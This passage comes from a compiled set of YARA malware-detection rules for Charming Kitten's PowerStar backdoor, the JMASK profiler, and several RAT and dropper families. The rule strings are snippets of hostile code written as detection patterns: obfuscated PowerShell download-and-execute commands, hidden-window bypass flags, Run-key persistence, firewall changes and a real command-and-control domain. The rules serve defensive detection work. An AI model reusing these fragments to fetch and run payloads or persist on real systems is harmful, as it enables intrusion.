		$ios_9 = "['a9', '1242x2208', ['iPhone\\x206s\\x20Plus']]"
		$ios_10 = "['a9x', '2048x2732', ['iPad\\x20Pro\\x20(1st\\x20gen\\x2012.9-inch)']]"
		$ios_11 = "['a10x', '1668x2224', [_0x"
		$header = "info = {}, finished = 0x0;"
	condition:
		3 of ( $array_* ) or 5 of ( $ios_* ) or $header
}

rule VOLEXITY_Apt_Delivery_Web_Js_Jmask : EVILBAMBOO FILE
{
	meta:
		description = "Detects the JMASK profiling script in its minified // obfuscated format."
		author = "threatintel@volexity.com"
		id = "a7b653e1-f7c6-56cc-ab99-3de91d29ef3b"
		date = "2023-06-15"
		modified = "2023-09-21"
		reference = "https://github.com/volexity/threat-intel"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2023/2023-09-22 EvilBamboo/indicators/rules.yar#L446-L472"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "64315ac05049954d36297a616a25ffdd7ce81c6313c0878d5ba4082da24c21bb"
		score = 75
		quality = 80
		tags = "EVILBAMBOO, FILE"
		hash1 = "efea95720853e0cd2d9d4e93a64a726cfe17efea7b17af7c4ae6d3a6acae5b30"
		scan_context = "file"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
	strings:
		$rev0 = "oi.buhtig.ralue//:ptth" ascii
		$rev1 = "lairA' xp41" ascii
		$rev2 = "dnuof ton ksaMateM" ascii
		$unicode1 = "document[\"\\u0063\\u0075\\u0072\\u0072\\u0065\\u006e\\u0074\\u0053\\u0063\\u0072\\u0069\\u0070\\u0074\"]" ascii
		$unicode2 = "\\u0061\\u0070\\u0070\\u006c\\u0069\\u0063\\u0061\\u0074\\u0069\\u006f\\u006e\\u002f\\u006a\\u0073\\u006f\\u006e" ascii
		$unicode3 = "\\u0063\\u006c\\u0069\\u0065\\u006e\\u0074\\u0057\\u0069\\u0064\\u0074\\u0068" ascii
		$unicode4 = "=window[\"\\u0073\\u0063\\u0072\\u0065\\u0065\\u006e\"]" ascii
		$header = "(function(){info={};finished=" ascii
	condition:
		all of ( $rev* ) or all of ( $unicode* ) or $header
}

rule VOLEXITY_Apt_Win_Powerstar_Persistence_Batch : CHARMINGKITTEN
{
	meta:
		description = "Detects the batch script used to persist PowerStar via Startup."
		author = "threatintel@volexity.com"
		id = "f3ed7b46-d80d-55b1-b6c7-6ea6569f199c"
		date = "2023-05-16"
		modified = "2023-09-20"
		reference = "https://github.com/volexity/threat-intel"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2023/2023-06-28 POWERSTAR/indicators/rules.yar#L1-L19"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "9c3a45b759516959eae1cdf8e73bf540b682c90359a6232aa4782a8d1fe15b7d"
		score = 75
		quality = 80
		tags = "CHARMINGKITTEN"
		hash1 = "9777f106ac62829cd3cfdbc156100fe892cfc4038f4c29a076e623dc40a60872"
		memory_suitable = 1
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
	strings:
		$s_1 = "e^c^h^o o^f^f"
		$s_2 = "powershertxdll.ertxdxe"
		$s_3 = "Get-Conrtxdtent -Prtxdath"
		$s_4 = "%appdata%\\Microsrtxdoft\\Windortxdws\\"
		$s_5 = "&(gcm i*x)$"
	condition:
		3 of them
}

rule VOLEXITY_Apt_Win_Powerstar_Memonly : CHARMINGKITTEN
{
	meta:
		description = "Detects the initial stage of the memory only variant of PowerStar."
		author = "threatintel@volexity.com"
		id = "469fc433-da9e-55ed-99fb-9560ec86a179"
		date = "2023-05-16"
		modified = "2023-09-20"
		reference = "https://github.com/volexity/threat-intel"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2023/2023-06-28 POWERSTAR/indicators/rules.yar#L20-L65"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "d790ff204e4e8adeb3e887d9ebce743e958b523c48317d017487b1b0c6aebc11"
		score = 75
		quality = 78
		tags = "CHARMINGKITTEN"
		hash1 = "977cf5cc1d0c61b7364edcf397e5c67d910fac628c6c9a41cf9c73b3720ce67f"
		memory_suitable = 1
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
	strings:
		$s_1 = "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($in.substring(3)))"
		$s_2 = "[Convert]::ToByte(([Convert]::ToString(-bnot ($text_bytes[$i])"
		$s_3 = "$Exec=[System.Text.Encoding]::UTF8.GetString($text_bytes)"
		$s_4 = "((65..90) + (97..122) | Get-Random -Count 16 | % {[char]$_})"
		$f_1 = "function Gorjol{"
		$f_2 = "Borjol \"$"
		$f_3 = "Gorjol -text"
		$f_4 = "function Borjoly{"
		$f_6 = "$filename = $env:APPDATA+\"\\Microsoft\\Windows\\DocumentPreview.pdf\";"
		$f_7 = "$env:APPDATA+\"\\Microsoft\\Windows\\npv.txt\""
		$f_8 = "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\brt8ts74e.bat"
		$f_9 = "\\Microsoft\\Windows\\s7qe52.txt"
		$f_10 = "$yeolsoe2 = $yeolsoe"
		$f_11 = "setRequestHeader(\"Content-DPR\""
		$f_12 = "getResponseHeader(\"Content-DPR\")"
		$f_13 = {24 43 6f 6d 6d 61 6e 64 50 61 72 74 73 20 3d 24 53 65 73 73 69 6f 6e 52 65 73 70 6f 6e 73 65 2e 53 70 6c 69 74 28 22 b6 22 29}
		$f_14 = "$language -like \"*shar*\""
		$f_15 = "$language -like \"*owers*\""
		$alias_1 = "(gcm *v????E?P?e*)"
		$alias_2 = "&(gcm *ke-e*) $Command"
		$key = "T2r0y1M1e1n1o0w1"
		$args_1 = "$sem.Close()"
		$args_2 = "$cem.Close()"
		$args_3 = "$mem.Close()"
		$command_1 = "_____numone_____"
		$command_2 = "_____mac2_____"
		$command_3 = "_____yeolsoe_____"
	condition:
		2 of ( $s_* ) or any of ( $f_* ) or 2 of ( $alias_* ) or $key or all of ( $args_* ) or any of ( $command_* )
}

rule VOLEXITY_Apt_Win_Powerstar_Logmessage : CHARMINGKITTEN
{
	meta:
		description = "Detects interesting log message embedded in memory only version of PowerStar."
		author = "threatintel@volexity.com"
		id = "5979c776-5138-50e2-adab-0793ad86ba76"
		date = "2023-05-16"
		modified = "2023-09-20"
		reference = "https://github.com/volexity/threat-intel"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2023/2023-06-28 POWERSTAR/indicators/rules.yar#L66-L79"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "539c9a8b3de24f2c8058d204900344756a8031822ebebc312612b8fb8422e341"
		score = 75
		quality = 80
		tags = "CHARMINGKITTEN"
		memory_suitable = 1
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
	strings:
		$s_1 = "wau, ije ulineun mueos-eul halkkayo?"
	condition:
		all of them
}

rule VOLEXITY_Apt_Win_Powerstar_Lnk : CHARMINGKITTEN
{
	meta:
		description = "Detects LNK command line used to install PowerStar."
		author = "threatintel@volexity.com"
		id = "33f16283-69b9-5109-b723-3ddc8abb8c41"
		date = "2023-05-16"
		modified = "2023-09-20"
		reference = "https://github.com/volexity/threat-intel"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2023/2023-06-28 POWERSTAR/indicators/rules.yar#L80-L97"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "da53aeaf69e80f697068779f4741b8c23cff82dd1bfb0640916a1bcc98c4892f"
		score = 75
		quality = 80
		tags = "CHARMINGKITTEN"
		memory_suitable = 1
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
	strings:
		$p_1 = "-UseBasicParsing).Content; &(gcm i*x)$"
		$c_1 = "powershecde43ell.ecde43exe"
		$c_2 = "wgcde43eet -Ucde43eri"
		$c_3 = "-UseBasicde43ecParsing).Contcde43eent; &(gcm i*x)$"
	condition:
		any of them
}

rule VOLEXITY_Apt_Win_Powerstar_Decrypt_Function : CHARMINGKITTEN
{
	meta:
		description = "Detects PowerStar decrypt function, potentially downloaded standalone and then injected."
		author = "threatintel@volexity.com"
		id = "1fbc2689-8169-53b1-b581-c41ab2b3a16f"
		date = "2023-05-16"
		modified = "2023-09-20"
		reference = "https://github.com/volexity/threat-intel"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2023/2023-06-28 POWERSTAR/indicators/rules.yar#L98-L121"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "d022e363464488836a1c161f2b9c7463ac91ae6f60f14dfd574189233201c9aa"
		score = 75
		quality = 80
		tags = "CHARMINGKITTEN"
		hash1 = "b79d28fe5e3c988bb5aadb12ce442d53291dbb9ede0c7d9d64eec078beba5585"
		memory_suitable = 1
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
	strings:
		$f_1 = "function Borjol{"
		$s_1 = "$global:Domain = \""
		$s_2 = "$global:IP = \""
		$s_3 = "$global:yeolsoe"
		$s_4 = "$semii.Close()"
		$s_5 = "$cemii.Close()"
		$s_6 = "$memii.Close()"
	condition:
		any of ( $f_* ) or 2 of ( $s_* )
}

rule VOLEXITY_Apt_Win_Powerstar : CHARMINGKITTEN
{
	meta:
		description = "Custom PowerShell backdoor used by Charming Kitten."
		author = "threatintel@volexity.com"
		id = "febcd23b-6545-571b-905d-18dffe8e913f"
		date = "2021-10-13"
		modified = "2023-09-20"
		reference = "https://github.com/volexity/threat-intel"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2023/2023-06-28 POWERSTAR/indicators/rules.yar#L122-L150"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "2cbf59eaee60a8f84b1ac35cec3b01592a2a0f56c92a2db218bb26a15be24bf3"
		score = 75
		quality = 80
		tags = "CHARMINGKITTEN"
		hash1 = "de99c4fa14d99af791826a170b57a70b8265fee61c6b6278d3fe0aad98e85460"
		memory_suitable = 1
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
	strings:
		$appname = "[AppProject.Program]::Main()" ascii wide
		$langfilters1 = "*shar*" ascii wide
		$langfilters2 = "*owers*" ascii wide
		$definitions1 = "[string]$language" ascii wide
		$definitions2 = "[string]$Command" ascii wide
		$definitions3 = "[string]$ThreadName" ascii wide
		$definitions4 = "[string]$StartStop" ascii wide
		$sess = "$session = $v + \";;\" + $env:COMPUTERNAME + $mac;" ascii wide
	condition:
		$appname or all of ( $langfilters* ) or all of ( $definitions* ) or $sess
}

/*
 * YARA Rule Set
 * Repository Name: SecuInfra
 * Repository: https://github.com/SIFalcon/Detection
 * Retrieval Date: 2026-03-15
 * Git Commit: 2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd
 * Number of Rules: 32
 * Skipped: 0 (age), 24 (quality), 0 (score), 0 (importance)
 *
 * 
 * LICENSE
 * 
 * NO LICENSE SET
 */
rule SECUINFRA_SUSP_Discord_Attachments_URL : PE DOWNLOAD FILE
{
	meta:
		description = "Detects a PE file that contains an Discord Attachments URL. This is often used by Malware to download further payloads"
		author = "SECUINFRA Falcon Team"
		id = "bf81920b-f8ab-594a-aa45-d92446411113"
		date = "2022-02-19"
		modified = "2022-02-27"
		reference = "https://github.com/SIFalcon/Detection"
		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Filetypes/exe.yar#L3-L16"
		license_url = "N/A"
		logic_hash = "3270b74506e520064361379b274f44a467c55bdcd3d8456967e864526aca8521"
		score = 65
		quality = 70
		tags = "PE, DOWNLOAD, FILE"
		version = "0.1"
	strings:
		$url = "cdn.discordapp.com/attachments" nocase wide
	condition:
		uint16( 0 ) == 0x5a4d and $url
}



rule SECUINFRA_SUSP_Netsh_Firewall_Command : PE FILE
{
	meta:
		description = "No description has been set in the source file - SecuInfra"
		author = "SECUINFRA Falcon Team"
		id = "c62cbe3f-9585-56c0-bb09-83a36437abda"
		date = "2022-02-27"
		modified = "2022-02-27"
		reference = "https://github.com/SIFalcon/Detection"
		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Filetypes/exe.yar#L84-L97"
		license_url = "N/A"
		logic_hash = "7d19b433785684ce1d2b008b3fdd36b22c5c82bfec476c787dfa025080b6178d"
		score = 65
		quality = 70
		tags = "PE, FILE"
	strings:
		$netsh_delete = "netsh firewall delete" wide
		$netsh_add = "netsh firewall add" wide
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and ( $netsh_delete or $netsh_add )
}

rule SECUINFRA_SUSP_Powershell_Download_Temp_Rundll : POWERSHELL DOWNLOAD FILE
{
	meta:
		description = "Detect a Download to %temp% and execution with rundll32.exe"
		author = "SECUINFRA Falcon Team"
		id = "6b09a6f0-29c6-5baf-ae64-7aa49a37a9d3"
		date = "2022-09-02"
		modified = "2022-02-27"
		reference = "https://github.com/SIFalcon/Detection"
		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Filetypes/powershell.yar#L1-L17"
		license_url = "N/A"
		logic_hash = "4d7860dc94614b10bc0eea0189ad9b964399d4ee6404ebeaef40720c716c592d"
		score = 65
		quality = 70
		tags = "POWERSHELL, DOWNLOAD, FILE"
	strings:
		$location = "$Env:temp" nocase
		$download = "downloadfile(" nocase
		$rundll = "rundll32.exe"
	condition:
		filesize < 100KB and $location and $download and $rundll
}

rule SECUINFRA_SUSP_LNK_Staging_Directory : FILE
{
	meta:
		description = "Detects typical staging directories being referenced inside lnk files"
		author = "SECUINFRA Falcon Team"
		id = "459ed2e6-133c-5cde-bf49-95bf8a5eb8c8"
		date = "2022-02-27"
		modified = "2022-02-27"
		reference = "https://github.com/SIFalcon/Detection"
		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Filetypes/lnk.yar#L31-L46"
		license_url = "N/A"
		logic_hash = "3f2a04702b39bce48fc85aa68f39e6062c3b5ee37667eb086222a866a5e438e4"
		score = 65
		quality = 70
		tags = "FILE"
	strings:
		$header = {4c00 0000 0114 0200 0000}
		$public = "$env:public" wide
	condition:
		filesize < 20KB and ( $header at 0 ) and $public
}

rule SECUINFRA_OBFUS_Powershell_Execution : FILE
{
	meta:
		description = "Detects some variations of obfuscated PowerShell code to execute further PowerShell code"
		author = "SECUINFRA Falcon Team"
		id = "b32c2a92-599c-5916-a335-dc996dcdc1bf"
		date = "2022-09-02"
		modified = "2022-02-27"
		reference = "https://github.com/SIFalcon/Detection"
		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Obfuscation/powershell_obfuscation.yar#L1-L17"
		license_url = "N/A"
		logic_hash = "b201774edc4a20a0035cd68898a785a6c2fc03fb8739d515196e428d4a88af70"
		score = 75
		quality = 70
		tags = "FILE"
	strings:
		$a1 = "-nop -w hiddEn -Ep bypass -Enc" ascii nocase
		$a2 = "-noP -sta -w 1 -enc" ascii nocase
		$b1 = "SQBFAF"
	condition:
		filesize < 300KB and $b1 and 1 of ( $a* )
}

rule SECUINFRA_OBFUS_Powershell_Replace_Tilde : FILE
{
	meta:
		description = "Detects usage of Replace to replace tilde. Often observed in obfuscation"
		author = "SECUINFRA Falcon Team"
		id = "59b68982-01ae-588a-9802-bb92c72342a8"
		date = "2022-10-02"
		modified = "2022-02-27"
		reference = "https://bazaar.abuse.ch/sample/4c391b57d604c695925938bfc10ceb4673edd64e9655759c2aead9e12b3e17cf/"
		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Obfuscation/powershell_obfuscation.yar#L19-L32"
		license_url = "N/A"
		logic_hash = "a2693757f9aedc1019a94a15ae00f87af852d319aa698dadd7f9bb98128622a0"
		score = 75
		quality = 70
		tags = "FILE"
	strings:
		$a = ".Replace(\"~\",\"0\")"
	condition:
		filesize < 400KB and $a
}

rule SECUINFRA_OBFUS_VBS_Reverse_Startup : FILE
{
	meta:
		description = "Detecs reversed StartUp Path. Sometimes used as obfuscation"
		author = "SECUINFRA Falcon Team"
		id = "ecb96e30-0ac0-530a-83af-bb030f7dce4c"
		date = "2022-02-27"
		modified = "2022-02-27"
		reference = "https://github.com/SIFalcon/Detection"
		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Obfuscation/vbs_obfuscation.yar#L2-L13"
		license_url = "N/A"
		logic_hash = "7b4d56d3bbe8d16d5e01fa9a021a368feb28b8b062860df76a2569966a97b8bc"
		score = 75
		quality = 70
		tags = "FILE"
	strings:
		$reverse = "\\putratS\\smargorP\\uneM" wide nocase
	condition:
		filesize < 200KB and $reverse
}


rule SECUINFRA_MAL_Nw0Rm : FILE
{
	meta:
		description = "Detect the final RAT dropped by N-W0rm"
		author = "SECUINFRA Falcon Team"
		id = "b014ce63-33ec-51df-a529-0c197dac2d7a"
		date = "2022-03-02"
		modified = "2022-02-07"
		reference = "https://www.secuinfra.com/en/techtalk/n-w0rm-analysis-part-2/"
		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/RAT/n-w0rm.yar#L1-L24"
		license_url = "N/A"
		hash = "08587e04a2196aa97a0f939812229d2d"
		logic_hash = "04078c57c1aa0065fceec7dc92b201bda23de1c5f5a940803a81250bdd685736"
		score = 75
		quality = 70
		tags = "FILE"
	strings:
		$a1 = "N-W0rm" fullword wide
		$a2 = "N_W0rm" fullword wide
		$a3 = "|NW|" fullword wide
		$b1 = "Select * from AntivirusProduct" fullword wide
		$b2 = "ExecutionPolicy Bypass -WindowStyle Hidden -NoExit -File" fullword wide
		$b3 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36" fullword wide
		$b4 = "killer" fullword wide
		$b5 = "nyanmoney02.duckdns.org" fullword wide
	condition:
		uint16( 0 ) == 0x5a4d and 2 of ( $a* ) and 2 of ( $b* )
}



rule SECUINFRA_APT_Bitter_PDB_Paths : FILE
{
	meta:
		description = "Detects Bitter (T-APT-17) PDB Paths"
		author = "SECUINFRA Falcon Team (@SI_FalconTeam)"
		id = "e2ad4ac3-45fe-5087-b0d6-a5de16774229"
		date = "2022-06-22"
		modified = "2022-07-05"
		reference = "https://www.secuinfra.com/en/techtalk/whatever-floats-your-boat-bitter-apt-continues-to-target-bangladesh"
		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/APT/APT_Bitter_T-APT-17.yar#L110-L133"
		license_url = "N/A"
		logic_hash = "7eb9e4c1b4e0cca070596f3702045756eb32716481bb59f2f8322221804291f5"
		score = 75
		quality = 70
		tags = "FILE"
		tlp = "WHITE"
		hash0 = "55901c2d5489d6ac5a0671971d29a31f4cdfa2e03d56e18c1585d78547a26396"
	strings:
		$pdbPath0 = "C:\\Users\\Window 10 C\\Desktop\\COMPLETED WORK\\" ascii
		$pdbPath1 = "stdrcl\\stdrcl\\obj\\Release\\stdrcl.pdb"
		$pdbPath2 = "g:\\Projects\\cn_stinker_34318\\"
		$pdbPath3 = "renewedstink\\renewedstink\\obj\\Release\\stimulies.pdb"
	condition:
		uint16( 0 ) == 0x5a4d and any of ( $pdbPath* )
}

rule SECUINFRA_SUSP_Reverse_Run_Key : FILE
{
	meta:
		description = "Detects a Reversed Run Key"
		author = "SECUINFRA Falcon Team"
		id = "230bed16-278e-574c-bb9b-cf6c44a7e9cd"
		date = "2022-02-27"
		modified = "2022-02-27"
		reference = "https://github.com/SIFalcon/Detection"
		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Windows/windows_misc.yar#L27-L38"
		license_url = "N/A"
		logic_hash = "dcb1a7e2c688287d08ade3d75e5c3d0dde6b645889bd4ec09ce8c131d8d3265e"
		score = 65
		quality = 70
		tags = "FILE"
	strings:
		$run = "nuR\\noisreVtnerruC\\swodniW\\tfosorciM\\erawtfoS" wide
	condition:
		filesize < 100KB and $run
}



rule SECUINFRA_MALWARE_Formbook_Filename_Stage_2 : FILE
{
	meta:
		description = "No description has been set in the source file - SecuInfra"
		author = "SECUINFRA Falcon Team"
		id = "74ae157c-30b3-5f07-83a3-6bc9e854fa84"
		date = "2022-02-19"
		modified = "2022-02-27"
		reference = "https://bazaar.abuse.ch/sample/295a708fd87173762a4971443304e23990462f94e8db48d83472f19425daaa87"
		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Malware/formbook.yar#L2-L14"
		license_url = "N/A"
		logic_hash = "707fa457a99b47419b0b77716ed1f61cdb493f04cc26a156f903a30ef30ac428"
		score = 75
		quality = 70
		tags = "FILE"
		version = "0.1"
	strings:
		$name = "PDF-Scan180220225499044" ascii wide
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and $name
}

rule SECUINFRA_SUSP_Powershell_Download_Temp_Rundll_1 : POWERSHELL DOWNLOAD
{
	meta:
		description = "Detect a Download to %temp% and execution with rundll32.exe"
		author = "SECUINFRA Falcon Team"
		id = "f7a9d2e6-bebf-598b-9e59-db0a3001b9f9"
		date = "2022-09-02"
		modified = "2022-02-19"
		reference = "https://github.com/SIFalcon/Detection"
		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/PowerShell_Misc/download_variations.yar#L1-L14"
		license_url = "N/A"
		logic_hash = "7982438c032127349fb1c3477a23bab1c92eb68d9c3b26e2f5fb0a8c332dbc44"
		score = 65
		quality = 70
		tags = "POWERSHELL, DOWNLOAD"
	strings:
		$location = "$Env:temp" nocase
		$download = "downloadfile(" nocase
		$rundll = "rundll32.exe"
	condition:
		$location and $download and $rundll
}

rule SECUINFRA_DROPPER_Valyria_Stage_1 : JAVASCRIPT VBS VALYRIA FILE
{
	meta:
		description = "Family was taken from VirusTotal"
		author = "SECUINFRA Falcon Team"
		id = "7e2ab9db-142c-5dee-92b7-4a70d747c540"
		date = "2022-02-18"
		modified = "2022-02-18"
		reference = "https://bazaar.abuse.ch/sample/c8a8fea3cbe08cd97e56a0e0dbc59a892f8ab1ff3b5217ca3c9b326eeee6ca66/"
		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Dropper/valyria.yar#L1-L23"
		license_url = "N/A"
		logic_hash = "94643123a4be26c818d43a77b907edf8651d306463f4df750db67cef790f10eb"
		score = 75
		quality = 70
		tags = "JAVASCRIPT, VBS, VALYRIA, FILE"
	strings:
		$a1 = "<script language=\"vbscript\">"
		$a2 = "<script language=\"javascript\">"
		$b1 = "window.resizeTo(0,0);"
		$b2 = ".Environment"
		$b3 = ".item().Name"
		$b4 = "v4.0.30319"
		$b5 = "v2.0.50727"
		$c1 = "Content Writing.docx"
		$c2 = "eval"
	condition:
		filesize < 600KB and all of ( $a* ) and 3 of ( $b* ) and 1 of ( $c* )
}

rule SECUINFRA_DROPPER_WSHRAT_Stage_1 : FILE
{
	meta:
		description = "Detects the first stage of WSHRAT as obfuscated JavaScript"
		author = "SECUINFRA Falcon Team"
		id = "3bd363dc-3183-595e-931b-668eb17495f5"
		date = "2022-11-02"
		modified = "2022-02-27"
		reference = "https://bazaar.abuse.ch/sample/ad24ae27346d930e75283b10d4b949a4986c18dbd5872a91f073334a08169a14/"
		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Dropper/wshrat.yar#L1-L18"
		license_url = "N/A"
		hash = "793eff1b2039727e76fdd04300d44fc6"
		logic_hash = "1390929d06bd1259dbab425fd4e953119f632be460f57756a0c226e9f510d75a"
		score = 75
		quality = 70
		tags = "FILE"
	strings:
		$a1 = "'var {0} = WS{1}teObject(\"ado{2}am\");"
		$b1 = "String[\"prototype\"]"
		$b2 = "this.replace("
		$b3 = "Array.prototype"
	condition:
		filesize < 1500KB and $a1 and #b3 > 3 and #b1 > 2 and $b2
}

rule SECUINFRA_DROPPER_Asyncrat_VBS_February_2022_1 : FILE
{
	meta:
		description = "No description has been set in the source file - SecuInfra"
		author = "SECUINFRA Falcon Team"
		id = "80f84c2f-7af0-55c1-bc06-d605beae3e33"
		date = "2022-02-21"
		modified = "2022-02-21"
		reference = "https://bazaar.abuse.ch/sample/06cd1e75f05d55ac1ea77ef7bee38bb3b748110b79128dab4c300f1796a2b941/"
		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Dropper/asyncrat.yar#L2-L18"
		license_url = "N/A"
		logic_hash = "80c86b0cbb7382135bb9ae8c80ac42f499081fe1fe48fadf21f0e136bcc04358"
		score = 75
		quality = 70
		tags = "FILE"
	strings:
		$a1 = "http://3.145.46.6/"
		$b1 = "Const HIDDEN_WINDOW = 0"
		$b2 = "GetObject(\"winmgmts:\\\\"
		$c = "replace("
	condition:
		filesize < 10KB and ( $a1 or ( all of ( $b* ) and #c > 10 ) )
}

rule SECUINFRA_DROPPER_Njrat_VBS : VBS NJRAT DROPPER FILE
{
	meta:
		description = "No description has been set in the source file - SecuInfra"
		author = "SECUINFRA Falcon Team"
		id = "5296667a-2932-597e-8f49-b7fa755cb387"
		date = "2022-02-27"
		modified = "2022-02-27"
		reference = "https://bazaar.abuse.ch/sample/daea0b5dfcc3e20b75292df60fe5f0e16a40735254485ff6cc7884697a007c0d/"
		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Dropper/njrat.yar#L2-L23"
		license_url = "N/A"
		logic_hash = "7640be8850992ee7f05e85e1f781b4c63ccf958cf62da8deacfe9bb116627ceb"
		score = 75
		quality = 70
		tags = "VBS, NJRAT, DROPPER, FILE"
	strings:
		$a1 = "[System.Convert]::FromBase64String( $Codigo.replace(" wide
		$a2 = "WDySjnçIJwGnYGadvbOQBvKzlNzWDDgUqgGlLKÇQvvkKPNjaUIdApxgqHTfDLUkfOKsXOKçDcQtltyXDXhNNbGNNPACgAzWRtuLt" wide
		$b1 = "CreateObject(\"WScript.Shell\")" wide
		$b2 = "\"R\" + \"e\" + \"p\" + \"l\" + \"a\" + \"c\" + \"e\"" wide
		$b3 = "BBBB\" + \"BBBBBBB\" + \"BBBBBBB\" + \"BBBBBBBB" wide
		$b4 = "& DGRP & NvWt & DGRP &" wide
		$b5 = "= ogidoC$" wide
	condition:
		filesize < 300KB and ( ( 1 of ( $a* ) ) or ( 2 of ( $b* ) ) )
}

/*
 * YARA Rule Set
 * Repository Name: RussianPanda
 * Repository: https://github.com/RussianPanda95/Yara-Rules
 * Retrieval Date: 2026-03-15
 * Git Commit: dff551be45bf6382c3d31dea2e9105147ee32e79
 * Number of Rules: 94
 * Skipped: 0 (age), 7 (quality), 3 (score), 0 (importance)
 *
 * 
 * LICENSE
 * 
 * NO LICENSE SET
 */
rule RUSSIANPANDA_Smartapesg_JS_Netsupportrat_Stage2 : FILE
{
	meta:
		description = "Detects SmartApeSG JavaScript Stage 2 retrieving NetSupportRAT"
		author = "RussianPanda"
		id = "2a614e11-be32-5bf1-9fd1-da224f0a644e"
		date = "2024-01-11"
		modified = "2024-01-12"
		reference = "https://github.com/RussianPanda95/Yara-Rules"
		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/SmartApeSG/SmartApeSG_JS_NetSupportRAT_stage2.yar#L1-L23"
		license_url = "N/A"
		hash = "67d8f84b37732cf85e05b327ad6b6a9f"
		logic_hash = "5a2afaa14d513e0a3c4e52acfb433e53a4541983a05d15318a217c14dc06453c"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$x1 = "powershell.exe -Ex Bypass -NoP -C $"
		$x2 = "Get-Random -Minimum -1000 -Maximum 1000"
		$s1 = "HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run"
		$s2 = "=new ActiveXObject('W"
		$s3 = "System.Net.WebClient).DownloadString($"
		$s4 = "FromBase64String"
		$s5 = "Start-Process -FilePath $"
	condition:
		filesize < 1MB and ( ( 1 of ( $x* ) and 3 of them ) or 5 of them )
}


rule RUSSIANPANDA_Mydriversys : FILE
{
	meta:
		description = "Detects the malicious driver - MyDriver.sys"
		author = "RussianPanda"
		id = "9b97acfd-21e8-5974-9f95-ecf7c561fada"
		date = "2025-12-31"
		modified = "2025-12-31"
		reference = "https://github.com/RussianPanda95/Yara-Rules"
